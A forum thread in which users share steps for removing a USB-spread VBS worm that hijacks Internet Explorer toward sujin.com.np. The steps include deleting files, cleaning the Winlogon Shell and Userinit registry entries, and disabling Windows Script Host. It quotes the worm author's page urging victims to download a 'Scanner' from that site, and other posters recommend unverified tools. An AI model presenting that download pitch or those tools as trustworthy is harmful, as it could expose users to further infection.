I think I already helped you with the same problem before or this is a false deja vu am experiencing ...

Anyway, you're infected with the "Hacked by Godzilla" attack.

Solution's here:

[gsoul2soul]

qwerty maniac thanks... but that file is not there, the one i should delete. the "vbs file"

Anyways mine just says in IE title bar "www.sujin.com.np" and tries to re-direct my browser to this site... which is now down :(

help

[QwertyManiac]

Site's pretty apologetic but I think its nearly the same infection.

From site (Google Cache):
If you were directed here through a virus-like program, then I would like to apologize for the problems you had to face because of me. I didn't mean to harm anyone or anyone's computer through this program. The small little script was developed to prevent your computer from any sorts of virus attacks. The script that I developed, would repair any problems in your computer that other viruses had damaged and also prevent any other viruses to enter into your computer. I am sure your computer was not infected by any viruses as long as my script was running in your computer. If you don't believe me just check the script, which is located at the system32 directory as VirusRemoval.vbs

In order to free your computer from my program, please CLICK HERE to download a program called 'Scanner'.
Run this program to free your computer from my script as well as some of the most common viruses.

Please insert your pen drives in your computer while running the program to remove the script from those drives as well

Are the other files taken care of? Any other VBS files might be deleted as well. Perform the same steps just more flexibly :)

And yes, delete ALL vbs and autorun from all your drives, even your externals, pen drives and phones.

[gsoul2soul]

I opened one of my Pen drives... and found this "Virusremoval.vbs" and "autorun.inf"

Now i opened the VBS file in Notepad... and here what it says:
Shall i click on it... or is it just a way of infecting more?

First
Open task manager and kill process wscript.exe.

Then
Delete VirusRemoval.vbs and Autorun.inf files from all usb drives.

Then
Go to c:\Windows\System32 and delete the file VirusRemoval.vbs. It is super hidden so first go to Folder Options and check show hidden and super hidden check boxes. Also required for the above files.

Then
Go to HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
On the right side look for Shell which should have value of just explorer.exe.
delete anything after explorer.exe.

Under same key Winlogon also look for Userinit which should have value of
c:\WINDOWS\system32\userinit.exe,
Delete all the crap after the comma.

Then
Go to HKCU\Software\Microsoft\Internet Explorer\Main
On the right side locate Window Title and delete its value i.e. Sujin.com.np

Under the same key locate Start Page and delete its value i.e. http://sujin.com.np/

I think that's all guys. I'm sure it will help.


Guys u can also disable the use of vbs and js files from the registry. For that
Go to HKLM\Software\Microsoft\Windows Script Host\Settings
On the right look for REG_SZ called Enabled and change its value to 0 to turn Windows Scripting Host. After this even if you accidentally click on vbs or js files it will display the message you can see on your own.

[NavinRaj]

Yavin's process removes the virus but it is a bit tedious. I found a scanner tool which easily removed the virus. It claims to remove other viruses and enable the disabled task manager and folder options.

You guys can also try it from:

or

Does any one have a software of Antivirus which can remove this sujin.com.np? I think I have to inform the case to Cyber Crime Investigation so that who ever is this Sujin is wrecked for the whole life to avoid in making such kind of tools. this hell **** is making my system slow and even I cannot do my work efficiently.

[saubrl]

Dont u use any antivirus?
I use NOD32 with update 3 month old but even it is able to detect wscript.exe.

[bhutanesedude]

NOD32? Does this functions good enough to clear this virus from every corner o our system? or it just takes out the title and web address from our IE.....I think http://www.swiftnepal.net/ has a anti virus for this problem which functions well...what u think my fellow users?
